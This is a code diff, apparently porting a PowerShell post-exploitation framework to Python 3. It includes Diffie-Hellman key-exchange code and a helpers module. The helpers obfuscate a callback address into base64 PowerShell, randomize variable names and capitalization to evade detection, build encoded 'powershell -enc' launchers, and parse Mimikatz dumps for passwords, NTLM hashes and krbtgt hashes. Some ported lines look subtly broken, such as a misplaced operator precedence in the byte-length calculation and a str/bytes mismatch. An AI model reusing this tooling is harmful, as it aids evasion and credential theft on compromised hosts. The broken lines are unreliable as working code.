265 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF,
266 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF,
267 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF,
268 17:
269 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF,
270 18:
271 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF
297 5: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF,
298 14: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF,
299 15: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A93AD2CAFFFFFFFFFFFFFFFF,
300 16: 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C934063199FFFFFFFFFFFFFFFF,
301 17:
302 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DCC4024FFFFFFFFFFFFFFFF,
303 18:
304 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AAAC42DAD33170D04507A33A85521ABDF1CBA64ECFB850458DBEF0A8AEA71575D060C7DB3970F85A6E1E4C7ABF5AE8CDB0933D71E8C94E04A25619DCEE3D2261AD2EE6BF12FFA06D98A0864D87602733EC86A64521F2B18177B200CBBE117577A615D6C770988C0BAD946E208E24FA074E5AB3143DB5BFCE0FD108E4B82D120A92108011A723C12A787E6D788719A10BDBA5B2699C327186AF4E23C1A946834B6150BDA2583E9CA2AD44CE8DBBBC2DB04DE8EF92E8EFC141FBECAA6287C59474E6BC05D99B2964FA090C3A2233BA186515BE7ED1F612970CEE2D7AFB81BDD762170481CD0069127D5B05AA993B4EA988D8FDDC186FFB7DC90A6C08F4DF435C93402849236C3FAB4D27C7026C1D4DCB2602646DEC9751E763DBA37BDF8FF9406AD9E530EE5DB382F413001AEB06A53ED9027D831179727B0865A8918DA3EDBEBCF9B14ED44CE6CBACED4BB1BDB7F1447E6CC254B332051512BD7AF426FB8F401378CD2BF5983CA01C64B92ECF032EA15D1721D03F482D7CE6E74FEF6D55E702F46980C82B5A84031900B1C9E59E7C97FBEC7E8F323A97A7E36CC88BE0F1D45B7FF585AC54BD407B22B4154AACC8F6D7EBF48E1D814CC5ED20F8037E0A79715EEF29BE32806A1D58BB7C5DA76F550AA3D8A1FBFF0EB19CCB1A313D55CDA56C9EC2EF29632387FE8D76E3C0468043E8F663F4860EE12BF2D5B0B7474D6E694F91E6DBE115974A3926F12FEE5E438777CB6A932DF8CD8BEC4D073B931BA3BC832B68D9DD300741FA7BF8AFC47ED2576F6936BA424663AAB639C5AE4F5683423B4742BF1C978238F16CBE39D652DE3FDB8BEFC848AD922222E04A4037C0713EB57A81A23F0C73473FC646CEA306B4BCBC8862F8385DDFA9D4B7FA2C087E879683303ED5BDD3A062B3CF5B3A278A66D2A13F83F44F82DDF310EE074AB6A364597E899A0255DC164F31CC50846851DF9AB48195DED7EA1B1D510BD7EE74D73FAF36BC31ECFA268359046F4EB879F924009438B481C6CD7889A002ED5EE382BC9190DA6FC026E479558E4475677E9AA9E3050E2765694DFC81F56E880B96E7160C980DD98EDD3DFFFFFFFFFFFFFFFFF
272305 }
273
274 if group in primes.keys():
306
307 if group in list(primes.keys()):
275308 return primes[group]
276309 else:
277310 print("Error: No prime with group %i. Using default." % group)
278311 return primes[default_group]
279
312
280313 def genRandom(self, bits):
281314 """
282315 Generate a random number with the specified number of bits
283316 """
284317 _rand = 0
285318 _bytes = bits // 8 + 8
286
287 while(len(bin(_rand))-2 < bits):
319
320 while (len(bin(_rand)) - 2 < bits):
288321 try:
289322 # Python 3
290323 _rand = int.from_bytes(random_function(_bytes), byteorder='big')
291324 except:
292325 # Python 2
293326 _rand = int(random_function(_bytes).encode('hex'), 16)
294
327
295328 return _rand
296
329
297330 def genPrivateKey(self, bits):
298331 """
299332 Generate a private key using a secure random number generator.
300333 """
301334 return self.genRandom(bits)
302
335
303336 def genPublicKey(self):
304337 """
305338 Generate a public key X with g**x % p.
306339 """
307340 return pow(self.generator, self.privateKey, self.prime)
308
341
309342 def checkPublicKey(self, otherKey):
310343 """
311344 Check the other party's public key to make sure it's valid.
312345 Since a safe prime is used, verify that the Legendre symbol == 1
313346 """
314 if(otherKey > 2 and otherKey < self.prime - 1):
315 if(pow(otherKey, (self.prime - 1)//2, self.prime) == 1):
347 if (otherKey > 2 and otherKey < self.prime - 1):
348 if (pow(otherKey, (self.prime - 1) // 2, self.prime) == 1):
316349 return True
317350 return False
318
351
319352 def genSecret(self, privateKey, otherKey):
320353 """
321354 Check to make sure the public key is valid, then combine it with the
322355 private key to generate a shared secret.
323356 """
324 if(self.checkPublicKey(otherKey) is True):
357 if (self.checkPublicKey(otherKey) is True):
325358 sharedSecret = pow(otherKey, privateKey, self.prime)
326359 return sharedSecret
327360 else:
328361 raise Exception("Invalid public key.")
329
362
330363 def genKey(self, otherKey):
331364 """
332365 Derive the shared secret, then hash it to obtain the shared key.
333366 """
334367 self.sharedSecret = self.genSecret(self.privateKey, otherKey)
335
368
336369 # Convert the shared secret (int) to an array of bytes in network order
337370 # Otherwise hashlib can't hash it.
338371 try:
339372 _sharedSecretBytes = self.sharedSecret.to_bytes(
340 len(bin(self.sharedSecret))-2 // 8 + 1, byteorder="big")
373 len(bin(self.sharedSecret)) - 2 // 8 + 1, byteorder="big")
341374 except AttributeError:
342375 _sharedSecretBytes = str(self.sharedSecret)
343
376
344377 s = hashlib.sha256()
345378 s.update(bytes(_sharedSecretBytes))
346379 self.key = s.digest()
347
380
348381 def getKey(self):
349382 """
350383 Return the shared secret key
351384 """
352385 return self.key
353
+2
-1
lib/common/events.py less more
2828 'print': False,
2929 'message': message,
3030 'old_name': old_name,
31 'new_name': new_name
31 'new_name': new_name,
32 'event_type' : 'rename'
3233 })
3334 # signal twice, once for each name (that way, if you search by sender,
3435 # the last thing in the old agent and the first thing in the new is that
+167
-83
lib/common/helpers.py less more
3535 dict_factory() - helper that returns the SQLite query results as a dictionary
3636 KThread() - a subclass of threading.Thread, with a kill() method
3737 slackMessage() - send notifications to the Slack API
38
38 generate_random_script_var_name() - use in scripts to generate random variable names
3939 """
40
40 from __future__ import division
41 from __future__ import print_function
42
43 from future import standard_library
44
45 standard_library.install_aliases()
46 from builtins import str
47 from builtins import range
48 from past.utils import old_div
4149 import re
4250 import string
4351 import base64
5159 import pickle
5260 import netifaces
5361 import random
54 from datetime import datetime
62
5563 import subprocess
5664 import fnmatch
57 import urllib, urllib2
65 import urllib.request, urllib.parse, urllib.error, urllib.request, urllib.error, urllib.parse
66 import hashlib
67 import datetime
68 import uuid
69 import ipaddress
70 import simplejson as json
71
72 from datetime import datetime
73
74 ###############################################################
75 #
76 # Global Variables
77 #
78 ################################################################
79
80 globentropy = random.randint(1, datetime.today().day)
81 globDebug = False
82
5883
5984 ###############################################################
6085 #
78103 return e
79104
80105
81
82106 def validate_ntlm(data):
83107 """
84108 Checks if the passed string is an NTLM hash.
109133 p = part.split("-")
110134 if len(p) == 2:
111135 if iptools.ipv4.validate_ip(p[0]) and iptools.ipv4.validate_ip(p[1]):
112 ranges += "('"+str(p[0])+"', '"+str(p[1])+"'),"
136 ranges += "('" + str(p[0]) + "', '" + str(p[1]) + "'),"
113137 else:
114138 if "/" in part and iptools.ipv4.validate_cidr(part):
115 ranges += "'"+str(p[0])+"',"
139 ranges += "'" + str(p[0]) + "',"
116140 elif iptools.ipv4.validate_ip(part):
117 ranges += "'"+str(p[0])+"',"
141 ranges += "'" + str(p[0]) + "',"
118142
119143 if ranges != "":
120 return eval("iptools.IpRangeList("+ranges+")")
144 return eval("iptools.IpRangeList(" + ranges + ")")
121145 else:
122146 return None
123147
130154 # Randomizers/obfuscators
131155 #
132156 ####################################################################################
133
134157 def random_string(length=-1, charset=string.ascii_letters):
135158 """
136159 Returns a random string of "length" characters.
137160 If no length is specified, resulting string is in between 6 and 15 characters.
138161 A character set can be specified, defaulting to just alpha letters.
139162 """
140 if length == -1: length = random.randrange(6,16)
163 if length == -1: length = random.randrange(6, 16)
141164 random_string = ''.join(random.choice(charset) for x in range(length))
142165 return random_string
143166
144167
168 def generate_random_script_var_name(origvariname, globDebug=False):
169 if globDebug:
170 return origvariname
171 else:
172 origvariname = origvariname.encode('UTF-8')
173 entrop = bytes(globentropy)
174 hash_object = hashlib.sha1(origvariname + entrop).hexdigest()
175 return hash_object[:(3 + (globentropy % 3))]
176
177
145178 def randomize_capitalization(data):
146179 """
147180 Randomize the capitalization of a string.
148181 """
149 return "".join( random.choice([k.upper(), k ]) for k in data )
150
182 return "".join(random.choice([k.upper(), k]) for k in data)
183
184
185 def obfuscate_call_home_address(data):
186 """
187 Poowershell script to base64 encode variable contents and execute on command as if clear text in powershell
188 """
189 tmp = '$(' + randomize_capitalization(
190 '[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\'')
191 tmp += (enc_powershell(data)).decode('UTF-8') + '\')))'
192 return tmp
151193
152194 def chunks(l, n):
153195 """
154196 Generator to split a string l into chunks of size n.
155
156197 Used by macro modules.
157198 """
158 for i in xrange(0, len(l), n):
159 yield l[i:i+n]
199 for i in range(0, len(l), n):
200 yield l[i:i + n]
160201
161202
162203 ####################################################################################
172213 Strip block comments, line comments, empty lines, verbose statements,
173214 and debug statements from a Python source file.
174215 """
175 print color("[!] strip_python_comments is deprecated and should not be used")
216 print(color("[!] strip_python_comments is deprecated and should not be used"))
176217 lines = data.split("\n")
177218 strippedLines = [line for line in lines if ((not line.strip().startswith("#")) and (line.strip() != ''))]
178219 return "\n".join(strippedLines)
188229 """
189230 Encode a PowerShell command into a form usable by powershell.exe -enc ...
190231 """
191 return base64.b64encode("".join([char + "\x00" for char in unicode(raw)]))
232 tmp = base64.b64encode(raw.encode('UTF-16LE'))
233 #tmp = raw
234 #tmp = bytes("".join([str(char) + "\x00" for char in raw]), "UTF-16LE")
235 #tmp = base64.b64encode(tmp)
236 return tmp
192237
193238
194239 def powershell_launcher(raw, modifiable_launcher):
198243 # encode the data into a form usable by -enc
199244 encCMD = enc_powershell(raw)
200245
201 return modifiable_launcher + " " + encCMD
246 return modifiable_launcher + " " + encCMD.decode('UTF-8')
202247
203248
204249 def parse_powershell_script(data):
219264 strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '\n', data)
220265
221266 # strip blank lines, lines starting with #, and verbose/debug statements
222 strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
267 strippedCode = "\n".join([line for line in strippedCode.split('\n') if (
268 (line.strip() != '') and (not line.strip().startswith("#")) and (
269 not line.strip().lower().startswith("write-verbose ")) and (
270 not line.strip().lower().startswith("write-debug ")))])
223271
224272 return strippedCode
225273
244292 try:
245293 return strip_powershell_comments(pattern.findall(script)[0])
246294 except:
247 print color("[!] Error extracting psreflect overhead from script!")
295 print(color("[!] Error extracting psreflect overhead from script!"))
248296 return ""
249297
250298
257305 dependentFunctions = set()
258306 for functionName in functionNames:
259307 # find all function names that aren't followed by another alpha character
260 if re.search("[^A-Za-z']+"+functionName+"[^A-Za-z']+", code, re.IGNORECASE):
308 if re.search("[^A-Za-z']+" + functionName + "[^A-Za-z']+", code, re.IGNORECASE):
261309 # if "'AbuseFunction' \"%s" % (functionName) not in code:
262310 # TODO: fix superflous functions from being added to PowerUp Invoke-AllChecks code...
263311 dependentFunctions.add(functionName)
290338
291339 # get the dependencies for the function we're currently processing
292340 try:
293 functionDependencies = get_dependent_functions(functions[requiredFunction], functions.keys())
341 functionDependencies = get_dependent_functions(functions[requiredFunction], list(functions.keys()))
294342 except:
295343 functionDependencies = []
296 print color("[!] Error in retrieving dependencies for function %s !" %(requiredFunction))
344 print(color("[!] Error in retrieving dependencies for function %s !" % (requiredFunction)))
297345
298346 for functionDependency in functionDependencies:
299347 if functionDependency not in resultFunctions and functionDependency not in functionsToProcess:
346394 try:
347395 newScript += functions[functionDependency] + "\n"
348396 except:
349 print color("[!] Key error with function %s !" %(functionDependency))
397 print(color("[!] Key error with function %s !" % (functionDependency)))
350398
351399 # if any psreflect methods are needed, add in the overhead at the end
352400 if any(el in set(psreflect_functions) for el in functionDependencies):
365413 """
366414 Enumerate module output, looking for any parseable credential sections.
367415 """
368
369 parts = data.split("\n")
416 if isinstance(data, str):
417 data = data.encode('UTF-8')
418 parts = data.split(b"\n")
370419
371420 # tag for Invoke-Mimikatz output
372 if parts[0].startswith("Hostname:"):
421 if parts[0].startswith(b"Hostname:"):
373422 return parse_mimikatz(data)
374423
375424 # powershell/collection/prompt output
376 elif parts[0].startswith("[+] Prompted credentials:"):
377
378 parts = parts[0].split("->")
425 elif parts[0].startswith(b"[+] Prompted credentials:"):
426
427 parts = parts[0].split(b"->")
379428 if len(parts) == 2:
380429
381 username = parts[1].split(":",1)[0].strip()
382 password = parts[1].split(":",1)[1].strip()
430 username = parts[1].split(b":", 1)[0].strip()
431 password = parts[1].split(b":", 1)[1].strip()
383432
384433 if "\\" in username:
385434 domain = username.split("\\")[0].strip()
390439 return [("plaintext", domain, username, password, "", "")]
391440
392441 else:
393 print color("[!] Error in parsing prompted credential output.")
442 print(color("[!] Error in parsing prompted credential output."))
394443 return None
395444
396445 # python/collection/prompt (Mac OS)
397 elif "text returned:" in parts[0]:
446 elif b"text returned:" in parts[0]:
398447 parts2 = parts[0].split("text returned:")
399448 if len(parts2) >= 2:
400449 password = parts2[-1]
414463 creds = []
415464
416465 # regexes for "sekurlsa::logonpasswords" Mimikatz output
417 regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)", "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)", "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)", "(?s)(?<=credman :).*?(?=mimikatz)"]
466 regexes = ["(?s)(?<=msv :).*?(?=tspkg :)", "(?s)(?<=tspkg :).*?(?=wdigest :)",
467 "(?s)(?<=wdigest :).*?(?=kerberos :)", "(?s)(?<=kerberos :).*?(?=ssp :)",
468 "(?s)(?<=ssp :).*?(?=credman :)", "(?s)(?<=credman :).*?(?=Authentication Id :)",
469 "(?s)(?<=credman :).*?(?=mimikatz)"]
418470
419471 hostDomain = ""
420472 domainSid = ""
421473 hostName = ""
422
423 lines = data.split("\n")
474 if isinstance(data, str):
475 data = data.encode("UTF-8")
476 lines = data.split(b"\n")
424477 for line in lines[0:2]:
425 if line.startswith("Hostname:"):
478 if line.startswith(b"Hostname:"):
426479 try:
427 domain = line.split(":")[1].strip()
428 temp = domain.split("/")[0].strip()
429 domainSid = domain.split("/")[1].strip()
430
431 hostName = temp.split(".")[0]
432 hostDomain = ".".join(temp.split(".")[1:])
480 domain = line.split(b":")[1].strip()
481 temp = domain.split(b"/")[0].strip()
482 domainSid = domain.split(b"/")[1].strip()
483
484 hostName = temp.split(b".")[0]
485 hostDomain = b".".join(temp.split(".")[1:])
433486 except:
434487 pass
435488
436489 for regex in regexes:
437490
438491 p = re.compile(regex)
439
440 for match in p.findall(data):
492 for match in p.findall(data.decode("UTF-8")):
441493
442494 lines2 = match.split("\n")
443495 username, domain, password = "", "", ""
445497 for line in lines2:
446498 try:
447499 if "Username" in line:
448 username = line.split(":",1)[1].strip()
500 username = line.split(":", 1)[1].strip()
449501 elif "Domain" in line:
450 domain = line.split(":",1)[1].strip()
502 domain = line.split(":", 1)[1].strip()
451503 elif "NTLM" in line or "Password" in line:
452 password = line.split(":",1)[1].strip()
504 password = line.split(":", 1)[1].strip()
453505 except:
454506 pass
455507
475527 if len(creds) == 0:
476528 # check if we have lsadump output to check for krbtgt
477529 # happens on domain controller hashdumps
478 for x in xrange(8,13):
479 if lines[x].startswith("Domain :"):
530 for x in range(8, 13):
531 if lines[x].startswith(b"Domain :"):
480532
481533 domain, sid, krbtgtHash = "", "", ""
482534
490542 domain = hostDomain
491543 sid = domainSid
492544
493 for x in xrange(0, len(lines)):
545 for x in range(0, len(lines)):
